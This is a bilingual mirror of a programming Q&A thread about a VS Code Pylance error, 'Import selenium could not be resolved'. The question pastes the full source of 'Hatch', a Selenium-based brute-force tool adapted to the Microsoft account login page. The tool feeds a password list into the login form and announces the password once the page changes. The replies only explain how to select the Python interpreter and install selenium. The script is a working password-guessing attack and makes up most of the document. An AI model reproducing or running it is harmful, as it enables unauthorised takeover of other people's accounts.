简体   繁体   English

导入“selenium”无法解析 Pylance(reportMissingImports)

[英]Import "selenium" could not be resolved Pylance (reportMissingImports)

I am editing a file in VS code.我正在用 VS 代码编辑一个文件。 VS code gives the following error: Import "selenium" could not be resolved Pylance (reportMissingImports) . VS 代码给出以下错误: Import "selenium" could not be resolved Pylance (reportMissingImports)

This is the code from metachar:这是来自元字符的代码:

# Coded and based by METACHAR/Edited and modified for Microsoft by Major
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException

# Graphics
class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
   CWHITE  = '\33[37m'

# Config#
parser = OptionParser()
now = datetime.datetime.now()

# Args
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()

CHROME_DVR_DIR = '/home/major/Hatch/chromedriver'

# Setting up Brute-Force function
def wizard():
    print (banner)
    website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
    sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
    sys.stdout.flush()
    t.sleep(1)
    try:
        request = requests.get(website)
        if request.status_code == 200:
            print (color.GREEN + '[OK]'+color.CWHITE)
            sys.stdout.flush()
    except selenium.common.exceptions.NoSuchElementException:
        pass
    except KeyboardInterrupt:
        print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
        exit()
    except:
        t.sleep(1)
        print (color.RED + '[X]'+color.CWHITE)
        t.sleep(1)
        print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
        exit()
    password_selector = '#i0118'
    login_btn_selector = '#idSIButton9'
    pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
    brutes(password_selector,login_btn_selector,pass_list, website)

# Execute Brute-Force function
def brutes(password_selector,login_btn_selector,pass_list, website):
    f = open(pass_list, 'r')
    driver = webdriver.Chrome(CHROME_DVR_DIR)
    optionss = webdriver.ChromeOptions()
    optionss.add_argument("--disable-popup-blocking")
    optionss.add_argument("--disable-extensions")
    count = 1
    browser = webdriver.Chrome(CHROME_DVR_DIR)
    while True:
        try:
            for line in f:
                browser.get(website)
                t.sleep(1)
                Sel_pas = browser.find_element_by_css_selector(password_selector)
                enter = browser.find_element_by_css_selector(login_btn_selector) 
                Sel_pas.send_keys(line)
                t.sleep(2)
                print ('------------------------')
                print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN)
                print ('------------------------')
                temp = line 
        except KeyboardInterrupt: 
            exit()
        except selenium.common.exceptions.NoSuchElementException:
            print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
            print ('LAST PASS ATTEMPT BELLOW')
            print (color.GREEN + 'Password has been found: {0}'.format(temp))
            print (color.YELLOW + 'Have fun :)')
            exit()

banner = color.BOLD + color.RED +'''
  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__ 
 |  __  |/ _` | __/ __| '_ \\
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  {0}[{1}-{2}]--> {3}V.1.0
  {4}[{5}-{6}]--> {7}coded by Metachar
  {8}[{9}-{10}]-->{11} brute-force tool                      '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)

driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 

if options.passsel == None:
    if options.loginsel == None:
        if options.passlist == None:
            if options.website == None:
                wizard()

password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(password_selector,login_btn_selector,pass_list, website)

I have downloaded the windows chromedriver.我已经下载了 windows chromedriver。 I don't know where I must place it on my computer.我不知道我必须将它放在计算机上的什么位置。 Does anyone have an idea where I must place it and how I can solve this error.有谁知道我必须把它放在哪里以及如何解决这个错误。 When I try it in Linux, I get not an error.当我在 Linux 中尝试时,我没有收到错误。 I placed the chromedriver in the same dir as the python file.我将 chromedriver 放在与 python 文件相同的目录中。 When I do the exact same thing in windows it does not work.当我在 windows 中做完全相同的事情时,它不起作用。 Can anyone help me out?谁能帮我吗?

The accepted answer really wasn't clear enough for me (as a VSCode/Python newbie), but it set me on the right path.接受的答案对我来说真的不够清楚(作为 VSCode/Python 新手),但它让我走上了正确的道路。 As of 2022:截至 2022 年:

  1. Open the VS Command Pallette (for Windows use Ctrl+Shift+P)打开 VS 命令面板(Windows 使用 Ctrl+Shift+P)
  2. Choose or type "Python: Select Interpreter"选择或输入“Python:Select Interpreter”
  3. Select your OS's default Python version (check your C: drive) or whichever Python version you installed Selenium to. Select 您操作系统的默认版本 Python(检查您的 C: 驱动器)或您将 Selenium 安装到的任何一个 Python 版本。

PyLance looks for the "selenium" python package and cannot find it in the configured python installation. PyLance 查找“selenium”python package,但在配置的 python 安装中找不到它。 Since you're using VSCode, make sure you've configured the python extension properly.由于您使用的是 VSCode,因此请确保您已正确配置 python 扩展。 When you open a .py file in VSCode, you should see a python setting in the status bar down below on the left.当您在 VSCode 中打开一个.py文件时,您应该会在左侧下方的状态栏中看到一个 python 设置。 Select the installation on which you've installed selenium and PyLance will find your import. Select 安装 selenium 和 PyLance 的安装将找到您的导入。

From the location your virtual environment aka venv is located run this command pip3 install selenium从您的虚拟环境 aka venv 所在的位置运行此命令pip3 install selenium

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM